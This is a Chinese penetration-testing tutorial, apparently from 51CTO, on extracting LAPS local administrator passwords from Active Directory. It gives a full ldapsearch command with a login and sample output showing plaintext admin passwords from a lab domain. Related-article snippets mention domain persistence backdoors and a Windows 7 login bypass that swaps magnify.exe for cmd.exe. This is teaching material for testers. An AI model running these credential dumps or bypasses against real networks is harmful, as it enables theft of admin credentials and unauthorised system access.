域渗透TIPS:获取LAPS管理员密码

如果你之前有对启用LAPS机制的主机进行渗透测试,那么你应该能体会到该机制的随机化本地管理员密码是有多么令人痛苦。

LAPS将其信息存储在活动目录:

  • 存储密码过期时间:ms-Mcs-AdmPwdExpirationTime: 131461867015760024
  • 以明文显示的存储密码:ms-Mcs-AdmPwd: %v!e#7S#{s})+y2yS#(

LAPS早期版本中,任何用户都能够读取活动目录中的内容。还好微软已经修复,目前你必须获得该对象的所有扩展权限或者是完全控制权限才能够进行访问。

在复杂的真实环境中,内网主机中还可能存在隐藏的OU权限管理员,甚至是拥有完全控制权限的,负责特定用户组的一个标准用户。

得益于Meatballs开发的Metasploit模块:

https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/credentials/enum_laps.rb 帮助我们完成了这项工作。但是我们不可能每次都特地打开一个Meterpreter会话来运行该模块吧?

使用ldapsearch(包含在Debian/Ubuntu的ldapscripts程序包中)可以被用来构造与该模块相同的请求,以下便是一个例子:


  1. ldapsearch -x -h 192.168.80.10 -D \ 
  2. "helpdesk" -w ASDqwe123 -b "dc=sittingduck,dc=info" \ 
  3. "(ms-MCS-AdmPwd=*)" ms-MCS-AdmPwd 

解析:

  • -x – 使用基础身份验证
  • -h 192.168.80.10 – 将ldap连接到域控制器
  • -D “helpdesk” -w ASDqwe123 – 以用户名helpdesk,密码ASDqwe123进行登录
  • -b “dc=sittingduck,dc=info” – 加载整个域的基础LDAP对象
  • “(ms-MCS-AdmPwd=*)” – 过滤掉所有不能查看的ms-MCS-AdmPwd值 (只要拥有足够的权限,甚至还可以获取Administrator密码)
  • ms-MCS-AdmPwd – 仅显示ms-MCS-AdmPwd对象 (默认包含对象名以及DN,所以你还是能知道主机从属关系)

运行情况如下:


  1. $ ldapsearch -x -h 192.168.80.10 -D "helpdesk" -w ASDqwe123 -b "dc=sittingduck,dc=info" "(ms-MCS-AdmPwd=*)" ms-MCS-AdmPwd 
  2. # extended LDIF 
  3. # LDAPv3 
  4. # base <dcdc=sittingduck,dc=info> with scope subtree 
  5. # filter: (ms-MCS-AdmPwd=*) 
  6. # requesting: ms-MCS-AdmPwd 
  7.  
  8. # DC1, Domain Controllers, sittingduck.info 
  9. dn: CN=DC1,OU=Domain Controllers,DC=sittingduck,DC=info 
  10. ms-Mcs-AdmPwd: 2F1i/++N0H+G]{Y&,F 
  11.  
  12. # SDCLIENT_DAWIN7, LabComputers, Lab, sittingduck.info 
  13. dn: CN=SDCLIENT_DAWIN7,OU=LabComputers,OU=Lab,DC=sittingduck,DC=info 
  14. ms-Mcs-AdmPwd: 8CDR4,2UE8BA{zw2@RR 
  15.  
  16. # SD_WSUS_2012, LabComputers, Lab, sittingduck.info 
  17. dn: CN=SD_WSUS_2012,OU=LabComputers,OU=Lab,DC=sittingduck,DC=info 
  18. ms-Mcs-AdmPwd: +3!UY5@g9B.64RV2z/T 
  19.  
  20. # WIN-PM0ID6F0AHN, LabComputers, Lab, sittingduck.info 
  21. dn: CN=WIN-PM0ID6F0AHN,OU=LabComputers,OU=Lab,DC=sittingduck,DC=info 
  22. ms-Mcs-AdmPwd: %v!e#7S#{s})+y2yS#( 
  23.  
  24. # search reference 
  25. ref: ldap://research.sittingduck.info/DC=research,DC=sittingduck,DC=info 
  26.  
  27. # search reference 
  28. ref: ldap://ForestDnsZones.sittingduck.info/DC=ForestDnsZones,DC=sittingduck,D 
  29.  C=info 
  30.  
  31. # search reference 
  32. ref: ldap://DomainDnsZones.sittingduck.info/DC=DomainDnsZones,DC=sittingduck,D 
  33.  C=info 
  34.  
  35. # search reference 
  36. ref: ldap://sittingduck.info/CN=Configuration,DC=sittingduck,DC=info 
  37.  
  38. # search result 
  39. search: 2 
  40. result: 0 Success 

至从获得本地管理员密码,但还没有确定该帐号是否启用,你可以使用Kerberos进行身份验证。由于Windows中域控制器对LDAP连接不会要求证书验证(据我所知),你只需在ntlmrelayx.py进行一些小修改就能转储LAPS密码了。

本文作者:鸢尾

来源:51CTO

时间: 2024-11-05 18:13:51

域渗透TIPS:获取LAPS管理员密码的相关文章

内网域渗透之无管理员权限的重要信息搜集

本文讲的是内网域渗透之无管理员权限的重要信息搜集,经常被遗忘(或被误解)的一个事实是,大多数对象及其属性可以被验证的用户(通常是域用户)查看(或读取).管理员可能会认为,由于通过管理工具(如"Active Directory用户和计算机"(dsa.msc)或"Active Directory管理中心"(dsac.msc))可以轻松访问此数据,因此其他人就无法查看用户数据(超出了Outlook的GAL中暴露的内容).这通常导致密码数据被放置在用户对象属性或SYSVOL

AD配置教程:如何批量修改域本地管理员密码

如果大家将工作组改建成域环境的话,有一件事是必不可少的,那就是更改域中计算机的本地管理密码,一个一个更改太费力,不推荐. 在03的域控中我们只能通过脚本来实现批量修改的目的,但是看到有的朋友使用R2的域控还是使用脚本来实现,这个其实是完全没有必要,在08r2域控的组策略中得到很大的加强和进一步完善,增加不少实用功能,其中之一就是可以通过组策略直接修改本地管理员的密码,这种方法既简单又容易懂,具体实现方法是如何呢? 首先打开组策略管理器,打开我们修改的计算机OU对应的策略,这里以域全局策略为例依次

在Empire实战域渗透

本文讲的是在Empire实战域渗透, 0x01 写在开始 上一篇文章只是单纯的介绍了一些Empire的基本用法,但这么强大的工具根本不是一篇文章可以说清楚的,就像Metasploit,如果我单纯写一篇文章给你,告诉你这就是Metasploit全部的用法了.但是,真正的实战中,绝对是一脸蒙蔽的往着眼前的显示器,我要用什么命令?我接下来要用什么模块?类似这些问题就会在的脑海里迸发,可以说是彻底蒙蔽的状态. Empire也一样,所以我就决定再写一篇Empire的文章,在域渗透中的使用.这并不是真的域环

Active Directory域渗透的权限持久控制之组策略

本文讲的是Active Directory域渗透的权限持久控制之组策略,本文描述了一种通过组策略放置后门的方法,通过该方法,攻击者可以在拥有域管理员级别的权限约5分钟后,即可持续对Active Directory进行管理访问. 本文探讨了攻击者是内网渗透时会如何利用内置的Active Directory管理功能--组策略,以及如何缓解潜在的安全问题. 组策略概述 Active Directory的主要优点之一是其强大管理功能,并且此功能的核心就是组策略.组策略有几个部分,可以在没有第三方管理工具

Active Directory域渗透之白银票证后门

本文讲的是Active Directory域渗透之白银票证后门,本文的内容描述了一种方法,通过该方法,攻击者可以在拿到域管理级别的权限约5分钟后,就可持久的对Active Directory的管理进行访问. 这篇文章将探讨攻击者如何利用计算机帐户凭据来持久的访问和控制企业内网,以及企业如何缓解这类潜在的安全问题. 计算机帐号 加入Active Directory(AD)的每台计算机在AD中都有一个关联的计算机帐户.AD中的计算机帐户是一个安全主体(与用户帐户和安全组相同),因此它具有与用户帐户一

域渗透提权分析工具 BloodHound 1.3 中的ACL攻击路径介绍

本文讲的是域渗透提权分析工具 BloodHound 1.3 中的ACL攻击路径介绍, 简介和背景 2014年,Emmanuel Gras和Lucas Bouillot在" 信息通信技术研讨会"(Symposium on Information and Communications)上发表了题为" Chemins decontrôleen environement Active Directory "("Active Directory 控制路径"

域渗透测试需要了解的域管理权限

本文讲的是域渗透测试需要了解的域管理权限,Active Directory除了域管理员组之外还有多个不同级别的管理权限.在之前的一篇文章中,我探讨了:" 提升Active Directory安全性之保护域控制器 ",在这篇文章中探讨了如何更好地提升域控制器安全性和扩展Active Directory.有关Active Directory的特定权限和权限的更多信息,请查看我的博文" 扫描Active Directory特权和特权帐户". 这篇文章主要提供了有关Acti

PowerShell小技巧之获取Windows系统密码Hash_PowerShell

当你拿到了系统控制权之后如何才能更长的时间内控制已经拿到这台机器呢?作为白帽子,已经在对手防线上撕开一个口子,如果你需要进一步扩大战果,你首先需要做的就是潜伏下来,收集更多的信息便于你判断,便于有更大的收获.用什么方法才能有尽可能高的权限,同时能更有效的隐藏自己,是留webshell,留后门,种木马还是Rootkit?webshell,哪怕是一句话木马都很容易被管理员清除,放了木马,也容易被有经验的管理员查出,不管是早期自己创建进程,进程被干掉就完了,还是注入进程的木马,或者是以服务自启动的木马

windows7忘记管理员密码的解决方案

关键点: 1.使用安装盘(带PE系统)进入PE系统(windows或linux都可以) 2.修改C:windowssystem32下的magnify.exe变为cmd.exe(拷贝cmd.exe,修改为magnify.exe) 3.在登录界面,点击右下角,选择放大镜,确认,即可以管理员的权限启动cmd.exe,这样你就可以做任意操作了 4.net user administrator ""为清除administrator的密码 net user test test /add为添加一个t